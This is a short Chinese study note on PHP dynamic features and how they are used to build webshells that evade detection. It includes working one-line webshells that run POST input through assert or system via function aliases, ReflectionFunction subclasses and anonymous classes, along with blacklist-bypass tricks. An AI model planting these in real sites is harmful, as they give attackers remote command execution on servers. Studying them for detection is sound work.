PHP动态特性学习
主要是学习这个pdf 《PHP动态特性的捕捉与逃逸》github
PHP动态特性的定义是作者所定义的,大概就是说是我们无法确定一段代码或者程序的具体功能,即存在动态性的功能变化,而所用到的几乎所有webshell都会用到动态特性
比如
$arr = [$_GET,$_POST,$_COOKIE];
array_map($callback,...$arr);
如果callback被控制,改成assert等操作,就会变成webshell
-
PHP是一个大小写不敏感的语言,可以利用大小写绕过对函数的判断,利用函数名大小写,绕过对敏感函数的检测
-
PHP底层存在一个PHP_FALIAS宏,作用是赋值给一个函数一个新的"别名",比如show_source函数就是highlight_file别名
在PHP7后preg_replace的e模式删除了,但是mbereg_replace的e模式还存在
-
PHP5.6之后支持函数别名,使用use function a as b来导入a,即下面的b代表a,因此可能会出现下面的木马
use function \assert as test; test($_POST[2333]);
或者利用类的继承操作来绕过黑名单
class test extends ReflectionFunction{} $f = new test('system'); $f->invoke($_POST[2333]);
php7的匿名类
$f = new class('system') extends ReflectionFunction{} $f->invoke($_POST[2333]);